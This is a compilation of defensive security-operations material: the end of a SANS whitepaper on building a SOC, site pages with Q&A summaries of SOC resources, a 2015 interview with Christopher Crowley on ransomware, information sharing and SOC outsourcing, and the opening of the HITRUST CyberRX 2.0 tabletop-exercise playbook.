DHCP-sourced records for mapping IP and host information at the time of the alert. If the security monitoring system incorporates asset and identity information, it provides a huge advantage in time and analyst effort, not to mention key factors the analyst can use to prioritize the security incident—generally speaking, higher-value business assets should be prioritized over lower-value assets. Defining Normal Through Baselining The ability to create a baseline of activity for users, applications, infrastructure, network and other systems, establishing what normal looks like, is one advantage of aggregated data collected from various enterprise sources. Armed with the definition of “normal, ” detecting suspicious behavior—activities that are in some way outside of the norm— becomes easier. A properly baselined and configured security monitoring system sends out actionable alerts that can be trusted and often automatically prioritized before getting to the Tier 1 analyst.4 However, according to the SANS 2014 Log Management Survey, one of the top challenges in utilizing log data cited by respondents is the inability to discern normal from suspicious activity.5 The lack of such a baseline is a common obstacle organizations face in implementing an enterprise security monitoring system. A best practice is to use platforms that can build baselines by monitoring network and endpoint activity for a period of time to help determine was “normal” looks like and then provide the capability to set event thresholds as key alert drivers. When an unexpected behavior or deviation of normal activity is detected, the platform creates an alert, indicating further investigation is warranted. Threat Intelligence Mature SOCs continually develop the capability to consume and leverage threat intelligence from their past incidents and from information-sharing sources, such as a specialized threat intelligence vendor, industry partners, the cybercrimes division of law enforcement, information-sharing organizations (such as ISACs), or their security monitoring technology vendors. According to the 2015 SANS Cyberthreat Intelligence (CTI) Survey, 69% of respondents reported that their organization implemented some cyberthreat intelligence capability, with 27% indicating that their teams fully embrace the concept of CTI and integrated response procedures across systems and staff.7 A security monitoring system’s capability to operationalize threat intelligence and use it to help spot patterns in endpoint, log and network data, as well as associate anomalies Building a Security Operations Center (CONTINUED) 4 www.sans.org/reading-room/whitepapers/analyst/benchmarking-security-information-event-management-siem-34755 5 www.sans.org/reading-room/whitepapers/analyst/ninth-log-management-survey-report-35497 6 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 7 www.sans.org/webcasts/cyberthreat-intelligence-how-1-definitions-tools-standards-99052Percentage of respondents to the 2014 SANS Incident Response Survey6 who cited “Little visibility into endpoints/ system configurations and vulnerabilities” as an obstacle for incident response efficiency 52% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap8 with past alerts, incidents or attacks, can enhance an organization’s capability to detect a compromised system or user prior to it exhibiting the characteristics of a breach. In fact, 55% of the respondents of the CTI Survey are currently using a centralized security management system to aggregate, analyze and operationalize their CTI. Obstacles to Efficient SOC Incident Handling To achieve efficient incident handling, the SOC must avoid bottlenecks in the IR process that moves incidents through Tier 1, into Tier 2, and finally through Tier 3. Bottlenecks can occur due to too much “white noise, ” alerts of little consequence or false-positives that lead to analyst “alert fatigue. ” This phenomenon is a common experience among responders, as seen in the 2014 SANS Incident Response Survey results, where 15% reported responding to more than 20 false-positive alarms originally classified as incidents.8 When choosing an enterprise security monitoring tool, look for such features as alert threshold customization and the ability to combine many alerts into a single incident. Also when incidents include additional context, analysts can triage them more quickly, reducing the layers of evaluation that must take place before an issue can be confirmed and quickly mitigated. Building a Security Operations Center (CONTINUED) 8 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 9 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342Percentage of respondents to the 2014 SANS Incident Response Survey9 who identified false alarms as one of the types of incidents they are responding to 66% SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap9 Summary As you tackle the challenge of building a security operations center (SOC), your ability to anticipate common obstacles will facilitate smooth startup, build-out and maturation over time. Though each organization is unique in its current security posture, risk tolerance, expertise and budget, all share the goals of attempting to minimize and harden their attack surface and swiftly detecting, prioritizing and investigating security incidents when they occur. Working within the constraints of your organization, while pushing the boundaries and striving to achieve its critical security mission, your SOC can be a critical and successful venture—and a key contributor to your organization’s continuously improving security posture. For a more graphic view of building a SOC, be sure to check out the related infographic . SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap10 About the Author Sponsor SANS would like to thank this paper’s sponsor:Alissa Torres is a certified SANS instructor specializing in advanced computer forensics and incident response. Her industry experience includes serving in the trenches as an incident handler and working on an internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic and corporate environments, and she holds a bachelor’s degree from University of Virginia and a master’s from University of Maryland in information technology. Alissa has served as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering incident response and network basics to security professionals entering the forensics community. In addition to being a GIAC Certified Forensic Analyst (GCFA), she holds the GCFE, GPEN, CISSP , EnCE, CFCE, MCT and CTT+. --- ## Source: https://montance.com/questions.php?id=38 [![pdf](content/images/icons/pdf.svg) RSA Advanced SOC Solution sans soc roadmap whitepaper.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgdGZ3SmY5eHBJSm8/view?usp=sharing) RSA Advanced SOC Solution Sans SOC Roadmap Whitepaper Whitepaper outlining a roadmap for building an advanced security operations center. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What distinguishes the 'Analytical Time Frame' from the 'Operational Time Frame' in a SOC? A: Operational focuses on real-time triage (minutes/hours), while Analytical focuses on long-term trend analysis, hunting, and root cause (days/weeks). * Q: How does the 'Golden Triangle' concept influence SOC architecture? A: It mandates that Technology must support defined Processes, which are executed by skilled People; buying tools without people/process fails. * Q: What is the 'Hybrid SOC' model's primary advantage? A: It allows an organization to maintain 24/7 monitoring via an MSSP while keeping deep institutional knowledge and IR capability in-house. * Q: What specific role does 'Situational Awareness' play in SOC management? A: It enables the SOC to understand the business impact of an incident immediately, prioritizing response based on asset criticality. * Q: How should 'Shift Turnover' be operationalized to prevent knowledge loss? A: Through structured, mandatory briefings where active incidents and context are verbally and electronically transferred to the incoming team. * Q: What is the strategic value of 'Cost Avoidance' metrics? A: Demonstrating SOC value by calculating the potential financial impact of incidents that were prevented or contained early. * Q: How does the roadmap suggest handling 'Tier 1' analyst burnout? A: By implementing automation for repetitive triage tasks and providing clear career progression paths to Tier 2/3. * Q: What is the 'Feedback Loop' essential for SOC maturity? A: The process of using data from investigations to tune detection rules and update prevention controls, closing the security cycle. * Q: How does the document define the 'Mission' of a SOC? A: To provide continuous monitoring and detection capabilities that align with and support the organization's specific risk tolerance. * Q: What is the role of 'Threat Intelligence' in the described SOC roadmap? A: It moves the SOC from reactive to proactive by enabling the search for indicators of specific adversaries targeting the sector. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=37 [![xlsx](content/images/icons/xlsx.svg) Magma UCF Tool.xlsx](https://docs.google.com/spreadsheets/d/1e5Nu6rnUdEEgHJOARoMDkve-f0c7b84B/edit?usp=sharing) Magma UCF Tool Tool for managing SOC use cases mapped to business drivers and threats. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How does the 'Magma' framework facilitate 'Use Case' management? A: By mapping high-level business drivers (e.g., protect IP) to specific threat scenarios and the technical rules required to detect them. * Q: What is the operational value of the 'Detection Gap' metric? A: It quantifies the difference between the threats the organization \*wants\* to detect and what it \*can\* currently detect, guiding budget and engineering priorities. * Q: How does the tool categorize 'L1 Use Cases'? A: They represent broad threat categories (e.g., Malware, Intrusion) that align with business risks. * Q: What is the relationship between 'L2' and 'L3' use cases? A: L2 describes the specific threat activity (e.g., Phishing), while L3 describes the technical implementation (e.g., Outlook rule for suspicious subjects). * Q: How does mapping use cases to 'MITRE ATT&CK' enhance SOC maturity? A: It allows the SOC to visualize coverage against known adversary tactics and techniques, identifying blind spots. * Q: What is the purpose of the 'Business Drivers' tab? A: To force the SOC to justify every detection rule based on a specific business risk or compliance requirement, preventing 'alert bloat'. * Q: How can the tool be used for 'Log Source' prioritization? A: By identifying which log sources are required for the highest-value use cases, optimizing data ingestion costs. * Q: What is the 'Effectiveness' metric in the tool? A: A qualitative measure of how well a specific rule detects the intended threat without excessive false positives. * Q: How does the 'Implementation' status track SOC progress? A: It provides a clear view of the engineering backlog, showing which use cases are defined, in testing, or fully operational. * Q: What is the strategic benefit of the 'Visualizations' provided by the tool? A: They allow SOC managers to communicate coverage and gaps to non-technical stakeholders using business-aligned categories. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/14IgzSTXFcQ14pG_j657pV_lhvKwPHx2I/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/14IgzSTXFcQ14pG_j657pV_lhvKwPHx2I/view?usp=sharing]** Special Edition10.September.2015-Interview with Christopher Crowley by Mitsuyoshi Sugaya-lakyara vol.222 Protecting companies against cyber-attacks Executive Summary Information theft and other losses due to cyber-attacks is a growing problem even in Japan. Fortification of information security has become an urgent priority for Japanese companies and organizations. NRI SecureTechnologies' Mitsuyoshi Sugaya spoke to information security expert Christopher Crowley, a SANS Institute certification instructor, about defenses against increasingly sophisticated cyber-attacks in the US. Mitsuyoshi Sugaya Director/Fellow, NRI SecureTechnologies, Ltd. Joined Nomura Research Institute in 1991. After working as an information security consultant, he helped to launch NRI SecureTechnologies. He has been a director of NRI SecureTechnologies since 2006. He is also Board Chairman of Financials ISAC Japan and Vice President of the Japan Information Security Audit Association. He holds a doctorate in engineering and GCIH. Christopher Crowley Certified Instructor, SANS Institute Mr. Crowley has 15 years of experience in security management and network security. He currently works as a consultant in the Washington, DC, area. His specialties include penetration testing, network defense, incident response and forensic analysis. He holds numerous global certifications, including GSEC, GCIA, GCIH, GCFA, GPEN, GREM, GMOB and CISSP . Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 1 Cybercrime in US today Mitsuyoshi Sugaya: Although Japan is a low-crime country by global standards, cybercrime is on the rise, partly due to its borderless nature. Targeted cyber-attacks in particular have increased dramatically in recent years. Is the same true in the US also? Christopher Crowley: Yes. One recent example is a breach involving the US Office of Personnel Management. The breach targeted US government staff who have security clearances granting them access to confidential information. Eighty percent of government personnel with security clearances had their personal information stolen. These are the people charged with defending information. The breach makes the [attackers'] toughest job easier because they now know whom to target. Sugaya: In Japan, e-mails with malware-infected file attachments sent by cybercriminals posing as a colleague or business associate of the recipient are becoming increasingly common. In response, a growing number of companies are training their employees not to fall prey to such targeted attacks. Is such training conducted in the US and, if so, how effective is it? Crowley: Such training still doesn’t work in the US. The problem is that one or two successful incursions are enough to give the attacker organization enough access to move forward. Training has raised awareness substantially but recipients of baited e-mails still continue to make mistakes. The idea of defense [against such attacks] is shifting from the concept of we can prevent things to we know that some of our prevention will fail, so we need to pay more attention to detecting issues when they arise in order to thwart the attackers' ultimate objective. Sugaya: Another form of targeted attack that is on the rise in Japan is theft of money through unauthorized wire transfers via online banking platforms. The attackers target individuals or businesses that are online banking customers, not corporate websites, and install malware on the victims' computers. Such thefts are consequently difficult for banks to prevent. What types of security measures are Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 2 effective against such attacks? Crowley: I've seen an increase in reports of that type of theft in the US also. In the financial industry, banks have started working together to share information about the attackers and their methodologies to more quickly shut down the resources that the attackers are using and identify victims to limit losses. Because these attackers are ultimately using the same software and tactics, sharing information is an effective defense strategy. Another strategy banks are using is technical countermeasures, the most common of which is out-of-band verification. When a customer initiates an online transaction, the bank requires additional verification in the form of a mobile transaction authentication or authorization number sent to the customer's cellphone by text message. Most banks offer this functionality. Sugaya: So effective security requires multiple lines of defense such as prompt information sharing and technical countermeasures. Another form of cyber-attack, one that is still rare in Japan, is ransomware, malware that encrypts files on the victim's computer and demands that the victim pay a ransom to regain access to the files. The threat of ransomware becoming more common in Japan is a concern. How should one respond to a ransomware attack? Would you advise paying the ransom or abandoning the hijacked data? Crowley: I’ll tell you a story. A friend contacted me one day asking for advice. Her company's primary server with nearly two terabytes of data had been hijacked by ransomware. The first thing I asked was, Do you have a secondary copy of this data securely stored offsite? They didn't. So I suggested that they immediately engage a company that specializes in responding to such incidents but not pay the ransom. I told her to be sure to get professional guidance because the people she was up against are professionals at extorting money. Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 3 Sugaya: So the moral of your story is that it is crucial to take the precaution of backing up important data, correct? Crowley: That's right. The outcome was they were able to actually recover their data, but that’s just one case. I've heard of other cases where ransoms were paid but the data were not recovered. Probably the most fundamental defense is to have multiple backups of your important data. Promoting sharing of security information Sugaya: You mentioned the importance of promptly sharing information. Financials ISAC (Information Sharing and Analysis Center) Japan was established last year for sharing information-security information among financial institutions. What is the secret to successfully information sharing among a diverse group of companies with different reasons for participating in the group? Crowley: I think that a very important mechanism for sharing information is the ability to abstract the information away from your organization and turn it into actionable information. One such information sharing framework is Mandiant’s indicators of compromise (IOC). It allows one organization to share details about an adversary or attack vector without divulging the attack's impact on itself or proprietary information about its information systems. Another strategy for sharing information within a consortium is to have a mechanism that allows each member of the consortium to designate whom they are willing to share data with. ThreatConnect, an online information-sharing platform, does something along these lines. ThreatConnect has special interest groups and validates these groups' membership. Members are then able to share relatively sensitive information because they know who will get the information. Sugaya: Financials ISAC Japan uses a similar mechanism called the Traffic Light Protocol (TLP) that enables information sources to restrict the scope of their Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 4 information sharing by color-coding information (e.g., red information, yellow information) based on the extent to which they wish to share it. Crowley: That's great. How should management approach information security issues? Sugaya: In recent years, information security has become a major management issue even in Japan. More and more companies are appointing chief information security officers (CISO). How should C-suite executives approach information security issues? Crowley: I think that if you were going to establish a separate information security office headed by a CISO, you would need to ensure that the CISO's decisions are actually implemented across the organization. What I've seen in most large organizations is the CISO is often unable to effect organization-wide change. Or worse, the CISO has a lot of power and changes a lot of things but is out of touch with how the business is actually run or makes changes that are not consistent with the business's capabilities. So to answer your question, the right mix is a CISO who understands the details of security and knows how to decide how much security is enough to allow the business to continue growing while preventing catastrophic failures. Sugaya: With information security, you're damned if you don't and damned if you overdo. Crowley: Exactly, because security is loss prevention. A business makes money however it makes money while security minimizes losses. Sugaya: Japanese companies and organizations are increasingly establishing computer security incident response teams (CSIRTs) to deal with any incidents related to computer or network security. While information collection and analysis are supposedly important missions of CSIRTs when they are not responding to incidents, I feel that CSIRTs are actually often positioned as virtual response teams that spring into action when an incident occurs but otherwise perform IT-related functions other than security. How are CSIRTs set up in the US? Crowley: I can tell you about two CSIRTs I've participated in. At the US Department of Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 5 Energy (DOE), there were multiple groups that functioned as CSIRTs even within one organization. Depending on the organizational units participating, different information would be shared in the different groups. Participation in each group depended upon the sensitivity of the data that was shared within that group. In all of the groups, a majority of participants were DOE staff whose sole role was incident response. Such an approach is typically the most effective. A second example is a group called InfraGard run by the US Federal Bureau of Investigation (FBI). InfraGard allows people from different companies and specific sectors to come together to share information. Through my participation in InfraGard, I found that most of the other participants were not exclusively involved in information security. Their participation in InfraGard was a part-time duty. InfraGard functions more as an organizing principle to allow and facilitate information sharing. Is it better to build an SOC in-house or outsource? Sugaya: In addition to CSIRTs, the main purpose of which is incident response, another type of corporate organization involved in information security is security operations centers (SOCs), whose mission is information security monitoring. While SOCs play a central role in protecting information assets, having an in-house SOC is not feasible for all companies, even some large ones. Outsourcing of the SOC function is one option. How do US companies decide whether to build an in-house SOC or outsource? Crowley: This is a very frequently asked question and I don’t have a single guiding principle applicable to all companies. I can’t say that companies up to a certain size are better off outsourcing. When people ask me what to do, I always suggest that they first identify what capabilities–human resources, technologies, hardware–their organization already possesses. Make those existing capabilities the foundation. If their capabilities don’t currently include a central correlation functionality to derive information from their data–in other words, the ability to identify within available data meaningful deviations from what’s acceptable–they need to work to enhance that. This doesn’t necessarily mean looking at all the network intrusion detection system data or looking at all of the alerts from any given tool. What I mean is the ability to really focus on what is most important to that organization. If a company doesn’t understand that themselves, it would be very hard to get an external service provider to effectively perform the SOC function. Outsourcing can be a very cost-effective Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 6 strategy but to derive value from it, you have to inform the service provider what's important to you in order to get the right sort of escalation of information. Otherwise, you may end up with a third-party sending you alerts that are of little value to you and actually distract your incident-response staff from doing their jobs. Sugaya: In short, whether a company has an in-house or outsourced SOC, it must have a clear understanding of what the SOC needs to do to fulfill its intended functions. Crowley: Correct. And one way to acquire such know-how is through training courses offered by SANS, where I work as an instructor. SANS was founded in 1989 in the US to provide IT security training to government and corporate personnel. It now offers training courses not only in the US but throughout the world. SANS courses are very good at training people who will participate in SOCs' operation and management. People who've been trained by SANS can help to refine the assessment of information within an SOC. MITRE recently published an authoritative reference document for SOC specifications. It's available for free. However, its content is limited to considerations that should be taken into account when building an SOC. You still have to put all of those things into practice. And building an SOC is only the first step. An SOC's real value is the long- term use, management, and action that comes from it. Sugaya: I expect that information security organizations such as CSIRTs and SOCs will require increasingly skilled personnel going forward. Adroitly utilizing specialized training courses is an effective means of cultivating such human resources. Thank you for sharing your valuable knowledge with us today. Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 7 The entire content of this report is subject to copyright with all rights reserved. The report is provided solely for informational purposes for our UK and USA readers and is not to be construed as providing advice, recommendations, endorsements, representations or warranties of any kind whatsoever. Whilst every effort has been taken to ensure the accuracy of the information, NRI shall have no liability for any loss or damage arising directly or indirectly from the use of the information contained in this report.Reproduction in whole or in part use for any public purpose is permitted only with the prior written approval of Nomura Research Institute, Ltd. Inquiries to : Financial IT Marketing Department Nomura Research Institute, Ltd. Marunouchi Kitaguchi Bldg. 1-6-5 Marunouchi, Chiyoda-ku, Tokyo 100-0005, Japan E-mail : kyara@nri.co.jp http://www.nri.com/global/opinion/lakyara/index about NRI Nomura Research Institute, Ltd. (“NRI”, TYO: 4307) is an independent, global IT solutions and consulting services provider with annual sales of 406.0 billion yen as of FY ended March 2015. With front-to-back support for the buy- and sell- side, NRI’s tradition of innovation has positioned them as a trusted international market leader. Leveraging NRI’s global consulting business, NRI is able to provide innovative financial IT solutions for investment banks, asset managers, banks and insurance providers. For more information, visit www.nri.com. Special Edition ©2015 Nomura Research Institute, Ltd. All Rights Reserved.Protecting companies against cyber-attacks -Interview with Christopher Crowley by Mitsuyoshi Sugaya- vol.222 8 --- ## Source: https://montance.com/questions.php?id=36 [![pdf](content/images/icons/pdf.svg) lkr2015222.pdf](https://drive.google.com/file/d/14IgzSTXFcQ14pG_j657pV_lhvKwPHx2I/view?usp=sharing) Lkr2015222 Interview with Chris Crowley on detection deficits and SOC strategies in Japan. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What operational shift does Crowley recommend for Japanese companies compared to US companies? A: Moving away from a pure prevention/compliance mindset to one that embraces active detection and response capabilities. * Q: How does the 'Detection Deficit' impact SOC strategy? A: It necessitates a shift in investment towards 'Threat Hunting' to find adversaries who have already bypassed preventive controls. * Q: What is the specific value of 'Threat Intelligence' described in the interview? A: It allows the SOC to move from reacting to generic alerts to anticipating specific adversary tactics (TTPs) relevant to their industry. * Q: What is the 'Cultural Barrier' to effective incident response mentioned? A: The hesitation to report bad news or admit failure, which delays the activation of the incident response plan. * Q: How does Crowley define the 'Active Defense' concept? A: Proactively engaging with the adversary's presence (e.g., through deception or disruption) rather than just blocking IPs. * Q: What is the recommended approach to 'metrics' for a maturing SOC? A: Focusing on 'Time to Detect' and 'Time to Contain' rather than the volume of alerts or blocks. * Q: How should organizations address the 'Skills Gap' according to this document? A: By investing in internal training and creating a culture of continuous learning, rather than relying solely on hiring external experts. * Q: What is the role of 'Automation' in the context of the interview? A: To handle low-level, repetitive triage tasks so that human analysts can focus on complex investigations. * Q: What is the 'Assume Breach' mentality? A: Operating under the assumption that the network is already compromised, which drives proactive hunting and monitoring. * Q: How does the document characterize the evolution of 'Malware'? A: As becoming increasingly targeted and evasive, requiring behavioral analysis rather than just signature-based detection. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=35 [![docx](content/images/icons/docx.svg) Data Loss Tabletop Template.docx](https://docs.google.com/document/d/1gHGxdKIM9x7jGB9I6uoaxJGWb7PZ8pKZ/edit?usp=sharing) Data Loss Tabletop Template Template for conducting a tabletop exercise focused on a data loss scenario. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What specific decision point distinguishes the 'Containment' phase in a data loss scenario? A: The decision to disconnect affected systems from the internet to stop exfiltration versus keeping them online to monitor the attacker's activity. * Q: How does the template suggest assessing 'Legal' involvement? A: By determining at what specific threshold (e.g., number of records, type of data) legal counsel must be engaged to direct the investigation. * Q: What is the critical 'Evidence Preservation' step mentioned? A: Ensuring that volatile data (RAM) is captured before systems are powered down, which is often missed in panic responses. * Q: How does the scenario address 'Internal Communication'? A: It tests whether there is a secure, out-of-band communication channel (e.g., Signal, non-corporate email) if the primary email system is compromised. * Q: What is the 'HR' role in a data loss incident involving an insider? A: Managing the suspect employee (suspension, interview) without alerting them to the investigation prematurely. * Q: How does the template measure 'Readiness'? A: By evaluating if the team had access to the necessary tools (forensic software, log aggregators) and permissions during the exercise. * Q: What is the strategic implication of 'Public Disclosure' in this scenario? A: Balancing the need for transparency with the risk of tipping off the attacker or causing undue panic among customers. * Q: What specific 'Gap Analysis' outcome is expected? A: Identifying specific logs or data sources that were needed for investigation but were unavailable or insufficient. * Q: How does the template suggest handling 'Remote Employees'? A: Testing the capability to isolate or wipe devices that are not physically on the corporate network. * Q: What is the 'Recovery' objective in a data loss scenario? A: Not just restoring systems, but validating that the exfiltrated data has been identified and the vulnerability closed. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/17aLNjuvBMjY1wNnCqUkSxeRPAvB-eKdl/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/17aLNjuvBMjY1wNnCqUkSxeRPAvB-eKdl/view?usp=sharing]** CyberRX 2.0 Level I Playbook Participant and Facilitator Guide Copyright © 2015 HITRUST Alliance, LLC Contents Background and Context ................................................................... 3 What is CyberRX 2.0? .................................................................. 3 Why should my organization participate? .................................................. 3 Who participates in exercises? ........................................................... 3 What are the general expectations? ...................................................... 3 What support will HITRUST provide? ...................................................... 5 Do I need an external observer? ......................................................... 5 How much will this cost? ............................................................... 5 CyberRX Participation Levels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Participant Rules ......................................................................... 8 Scoring Construct and Rationale ............................................................ 11 HITRUST CyberRX Level I Certificate of Completion and Scoring ............................... 11 What are the 10 Markers? ............................................................. 11 CyberRX Playbook v2.0 ................................................................... 13 Exercise 1 .......................................................................... 14 Exercise 2 .......................................................................... 15 Exercise 3 .......................................................................... 16 Exercise 4 .......................................................................... 17 Exercise 5 .......................................................................... 18 Exercise 6 .......................................................................... 19 Exercise 7 .......................................................................... 20 Exercise 8 .......................................................................... 21 Exercise 9 .......................................................................... 22 Exercise 10 ......................................................................... 23 Exercise 11 ......................................................................... 24 Exercise 12 ......................................................................... 25 Exercise 13 ......................................................................... 26 Exercise 14 ......................................................................... 27 Example Scenario Run Through ............................................................. 28 Sample Issues and Questions Identified During the Exercise ...................................... 30 Appendix A – About CyberRX .............................................................. 32 Appendix B – Acknowledgements ........................................................... 34 CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC3 << Back to Contents Background and Context What is CyberRX 2.0? CyberRX is a scenario-based exercise program to assess the cyber security response preparedness of healthcare organizations. CyberRX 2.0 is the next iteration following the successful introduction of CyberRX 1.0 in 2013. The CyberRX program is overseen by a steering committee comprised of representatives from the healthcare industry, HITRUST, and Department of Health and Human Services (DHHS). See appendix A for further background and history on CyberRX. Why should my organization participate? CyberRX is an effort by DHHS, HITRUST, and volunteer organizations to improve cyber security maturity across the healthcare industry sector. The program was created in response to growing concerns and threats to the healthcare industry. As demonstrated from numerous organizations’ responses to security breaches, how an organization responds to cyber events is equally as important as how the organization protects themselves from security risks. Your organization should consider participating in CyberRX 2.0 to: i. Assess your incident response preparedness and crisis management capabilities in response to realistic and relevant cyber threats and events ii. Improve the maturity of your cyber security program by identifying lessons learned from the simulation exercises iii. Increase cyber security awareness across your organization iv. Engage and educate your executives on cyber security v. Establish/broaden partnerships and relationships across the healthcare industry to increase collaboration on cyber security challenges Who participates in exercises? The objective(s) of the simulation, and the selected scenario(s), will determine who from your organization should participate. The participants vary and may include your CEO, COO, CIO, CISO, Privacy, Legal, Compliance, Internal Audit, Risk, or others as appropriate. What are the general expectations? Preparation: An organizational coordinator is needed to plan and prepare for the exercise. It is also recommended, but not required, that participants be well versed in their own organization’s cyber incident response plans and procedures. Participants should be prepared to contribute to the exercise and to maximize the learning value of each scenario. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC4 << Back to Contents Commitment/Duration: Depending on the participation level desired (see Participant Rules), each exercise will range from just a couple of hours to an entire day. Format: 1. The facilitator will introduce the selected scenario(s) to participants along with any assumptions, artificialities, and simulations in order to ensure that the exercise is as realistic as possible. 2. The organizational representatives will discuss how to address the issue including specific immediate/near term incident response procedures, required communications (internal and external), oversight responsibilities (e.g., who will take point), additional information/resources required, legal or other compliance implications, long term planning/actions to consider and possible contingency plans. 3. As appropriate, the facilitator will provide “injection” points to keep the scenario moving forward. 4. A “hotwash” on what worked well and what were some of the lessons learned will be conducted immediately following the event. 5. An After Action Report (AAR) will be subsequently drafted and distributed to participants to formally capture the scenario lessons learned and best practices. See more specifics below: Step 3: Identify Lessons Lear nedStep 2: Conduct Exer ciseStep 1: Prepare and Plan Step 4: Improve Cyber Security Pr ogramStep 1: Prepare and Plan • Identify goals and objectives for conducting the CyberRX exercise (e.g., use it to bring awareness to executives, assess the cyber response capabilities, and/or mature cyber security program) • Gain organizational support and buy-in to conduct the exercise • Identify a facilitator/observer who can be an objective party to assess if goals and objectives have been achieved • Start planning the exercise by selecting and/or customizing select scenarios from the HITRUST CyberRX 2.0 Guide • Identify location and medium for conducting the exercise (physical location and/ or conference call) • Schedule the exercise well in advanceStep 2: Conduct Exercise • Selected facilitator would conduct the exercise by introducing the agreed upon scenario(s), and providing additional information at injection point, and keep the participants “on track“ • Organizational participants should be actively engaged by directing questions, identifying next steps, etc., as if the scenario is “real“ • Facilitator takes notes on strengths and challenges observed during the exercises Step 4: Improve Cyber Security Program • Based on lessons learned and cyber security program improvement opportunities identified, perform remediation, as applicable • Plan for another simulation to measure progress, and for keeping the cyber security agenda on the “radar“Step 3: Identify Lessons Learned • The group conducts a debrief on observations and lessons learned • Identify cyber security program improvements • Facilitator sends a summary of the exercise conducted and lessons learned in a formal document • If applicable, receive HITRUST Certification of Completion CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC5 << Back to Contents What support will HITRUST provide? HITRUST is providing this guide primarily for Level 1 participation (see CyberRX Participation Levels) to educate and provide materials that can be leveraged for planning and conducting the exercise. We highly recommend that your organization consider working with an external facilitator / observer who can guide the organization through the exercise as well as be an objective party. Contact any of the HITRUST CSF Assessor organizations if you or someone in your organization is interested in being an observer. Do I need an external observer? The HITRUST CyberRX 2.0 guide provides information that can be leveraged internally by an organization to conduct Level 1 exercise(s). If a HITRUST certificate of completion is desired and/or you would like an objective observer, your organization should leverage an external observer that is a HITRUST CSF Assessor organization. How much will this cost? The HITRUST guide is being provided complementary to all HITRUST members. Costs associated with any fees that may be charged by the selected observer will need to be negotiated and will vary based on the HITRUST CSF Assessor organization and participation level. CyberRX 2.0 Level I Playbook The scenarios contained in this document are fictional and any resemblance to actual persons or events is coincidental. Copyright © 2015 HITRUST Alliance, LLC6 << Back to Contents CyberRX Participation Levels CyberRX 2.0 expands the CyberRX program into a three-tier program that supports organizations of varying cyber security sophistication levels/goals while helping evolve their cyber preparedness maturity to outpace increasingly complex cyber threats. An organization can receive a certificate of completion after each level of participation. The three levels are as follows: • Level I - Local (Basic): This level offers “table-top” simulations that can be administered by an organization to evaluate their cyber threat readiness and response that is primarily focused on internal processes. –Eligibility: Any healthcare organization and business associates can participate in Level I activities. –Goals: The Level I goal is for an organization to demonstrate, practice and improve basic cyber incident response capabilities and coordination. This level can be used as an educational awareness tool as well. –Certificate of Achievement: Organizations that successfully complete an exercise will receive a HITRUST CyberRX Level I Certificate of Completion which is a prerequisite to participate in more complex Level II/III exercises. –Target Organization: Level I is designed for healthcare organizations that are interested in increasing/maturing their cyber preparedness and are just beginning to implement a cyber-program. This level may also be used by more mature organizations who want to (1) practice on an internal, cost-effective basis or (2) use it as an opportunity to reinforce cyber awareness within their organization. • Level II – Regional (Mature): Level II offers qualified participants the opportunity to exercise more sophisticated rapid detection, assessment, mitigation and response to cyber threats including coordination at the regional level. Equally important, this level expands the opportunity to enhance collaboration among participating organizations that share the same cyber security goals as well as promote partnerships that will improve the overall cyber security posture 